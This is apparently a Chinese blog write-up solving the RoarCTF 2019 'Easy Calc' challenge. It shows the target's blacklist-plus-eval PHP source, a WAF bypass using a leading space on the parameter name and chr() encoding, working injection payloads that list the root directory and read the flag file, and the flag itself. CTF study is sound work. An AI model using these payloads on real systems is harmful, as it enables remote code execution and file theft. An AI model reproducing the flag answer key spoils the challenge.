题目
![图片[1]-[RoarCTF 2019]Easy Calc – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226130340411.png?imageView2/0/format/webp/q/75)
题目打开是这样的
查看源码
<!--I\'ve set up WAF to ensure security.--><script>$(\'#calc\').submit(function(){$.ajax({url:\"calc.php?num=\"+encodeURIComponent($(\"#content\").val()),type:\'GET\',success:function(data){$(\"#result\").html(`<div class=\"alert alert-success\"><strong>答案:</strong>${data}</div>`);},error:function(){alert(\"这啥?算不来!\");}})return false;})</script><!--I\'ve set up WAF to ensure security.--> <script> $(\'#calc\').submit(function(){ $.ajax({ url:\"calc.php?num=\"+encodeURIComponent($(\"#content\").val()), type:\'GET\', success:function(data){ $(\"#result\").html(`<div class=\"alert alert-success\"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert(\"这啥?算不来!\"); } }) return false; }) </script><!--I\'ve set up WAF to ensure security.--> <script> $(\'#calc\').submit(function(){ $.ajax({ url:\"calc.php?num=\"+encodeURIComponent($(\"#content\").val()), type:\'GET\', success:function(data){ $(\"#result\").html(`<div class=\"alert alert-success\"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert(\"这啥?算不来!\"); } }) return false; }) </script>
.ajax是指通过http请求加载远程数据。
可以发现有一个calc.php
,输入的算式会被传入到这个php文件里,尝试一下能不能打开
<?phperror_reporting(0);if(!isset($_GET[\'num\'])){show_source(__FILE__);}else{$str = $_GET[\'num\'];$blacklist = [\' \', \'\\t\', \'\\r\', \'\\n\',\'\\\'\', \'\"\', \'`\', \'\\[\', \'\\]\',\'\\$\',\'\\\\\',\'\\^\'];foreach ($blacklist as $blackitem) {if (preg_match(\'/\' . $blackitem . \'/m\', $str)) {die(\"what are you want to do?\");}}eval(\'echo \'.$str.\';\');}?><?php error_reporting(0); if(!isset($_GET[\'num\'])){ show_source(__FILE__); }else{ $str = $_GET[\'num\']; $blacklist = [\' \', \'\\t\', \'\\r\', \'\\n\',\'\\\'\', \'\"\', \'`\', \'\\[\', \'\\]\',\'\\$\',\'\\\\\',\'\\^\']; foreach ($blacklist as $blackitem) { if (preg_match(\'/\' . $blackitem . \'/m\', $str)) { die(\"what are you want to do?\"); } } eval(\'echo \'.$str.\';\'); } ?><?php error_reporting(0); if(!isset($_GET[\'num\'])){ show_source(__FILE__); }else{ $str = $_GET[\'num\']; $blacklist = [\' \', \'\\t\', \'\\r\', \'\\n\',\'\\\'\', \'\"\', \'`\', \'\\[\', \'\\]\',\'\\$\',\'\\\\\',\'\\^\']; foreach ($blacklist as $blackitem) { if (preg_match(\'/\' . $blackitem . \'/m\', $str)) { die(\"what are you want to do?\"); } } eval(\'echo \'.$str.\';\'); } ?>
可以打开,并且显示了源码
foreach 语法结构提供了遍历数组的简单方式。
语法:
foreach (array_expression as $value)statementforeach (array_expression as $key => $value)statementforeach (array_expression as $value) statement foreach (array_expression as $key => $value) statementforeach (array_expression as $value) statement foreach (array_expression as $key => $value) statement
在这道题里,会对黑名单中的每一个值都拿出来连接成正则表达式的字符串,/m表示多行查找
其他几个参数:
/i (忽略大小写)/g (全文查找出现的所有匹配字符)/m (多行查找)/gi(全文查找、忽略大小写)/ig(全文查找、忽略大小写)/i (忽略大小写) /g (全文查找出现的所有匹配字符) /m (多行查找) /gi(全文查找、忽略大小写) /ig(全文查找、忽略大小写)/i (忽略大小写) /g (全文查找出现的所有匹配字符) /m (多行查找) /gi(全文查找、忽略大小写) /ig(全文查找、忽略大小写)
假如绕过的话,我们就可以用eval执行任意php语句
重点
了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了? num=1;var_dump(scandir(chr(47)))
scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交
1array(24) { [0]=> string(1) \".\" [1]=> string(2) \"..\" [2]=> string(10) \".dockerenv\" [3]=> string(3) \"bin\" [4]=> string(4) \"boot\" [5]=> string(3) \"dev\" [6]=> string(3) \"etc\" [7]=> string(5) \"f1agg\" [8]=> string(4) \"home\" [9]=> string(3) \"lib\" [10]=> string(5) \"lib64\" [11]=> string(5) \"media\" [12]=> string(3) \"mnt\" [13]=> string(3) \"opt\" [14]=> string(4) \"proc\" [15]=> string(4) \"root\" [16]=> string(3) \"run\" [17]=> string(4) \"sbin\" [18]=> string(3) \"srv\" [19]=> string(8) \"start.sh\" [20]=> string(3) \"sys\" [21]=> string(3) \"tmp\" [22]=> string(3) \"usr\" [23]=> string(3) \"var\" }1array(24) { [0]=> string(1) \".\" [1]=> string(2) \"..\" [2]=> string(10) \".dockerenv\" [3]=> string(3) \"bin\" [4]=> string(4) \"boot\" [5]=> string(3) \"dev\" [6]=> string(3) \"etc\" [7]=> string(5) \"f1agg\" [8]=> string(4) \"home\" [9]=> string(3) \"lib\" [10]=> string(5) \"lib64\" [11]=> string(5) \"media\" [12]=> string(3) \"mnt\" [13]=> string(3) \"opt\" [14]=> string(4) \"proc\" [15]=> string(4) \"root\" [16]=> string(3) \"run\" [17]=> string(4) \"sbin\" [18]=> string(3) \"srv\" [19]=> string(8) \"start.sh\" [20]=> string(3) \"sys\" [21]=> string(3) \"tmp\" [22]=> string(3) \"usr\" [23]=> string(3) \"var\" }1array(24) { [0]=> string(1) \".\" [1]=> string(2) \"..\" [2]=> string(10) \".dockerenv\" [3]=> string(3) \"bin\" [4]=> string(4) \"boot\" [5]=> string(3) \"dev\" [6]=> string(3) \"etc\" [7]=> string(5) \"f1agg\" [8]=> string(4) \"home\" [9]=> string(3) \"lib\" [10]=> string(5) \"lib64\" [11]=> string(5) \"media\" [12]=> string(3) \"mnt\" [13]=> string(3) \"opt\" [14]=> string(4) \"proc\" [15]=> string(4) \"root\" [16]=> string(3) \"run\" [17]=> string(4) \"sbin\" [18]=> string(3) \"srv\" [19]=> string(8) \"start.sh\" [20]=> string(3) \"sys\" [21]=> string(3) \"tmp\" [22]=> string(3) \"usr\" [23]=> string(3) \"var\" }
可以看到一个f1agg,打开这个文件就好
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1string(43) \"flag{d890b686-76b0-4bed-a28e-76f3ae35d954} \"1string(43) \"flag{d890b686-76b0-4bed-a28e-76f3ae35d954} \"1string(43) \"flag{d890b686-76b0-4bed-a28e-76f3ae35d954} \"
所以最终flag为flag{d890b686-76b0-4bed-a28e-76f3ae35d954}
THE END
暂无评论内容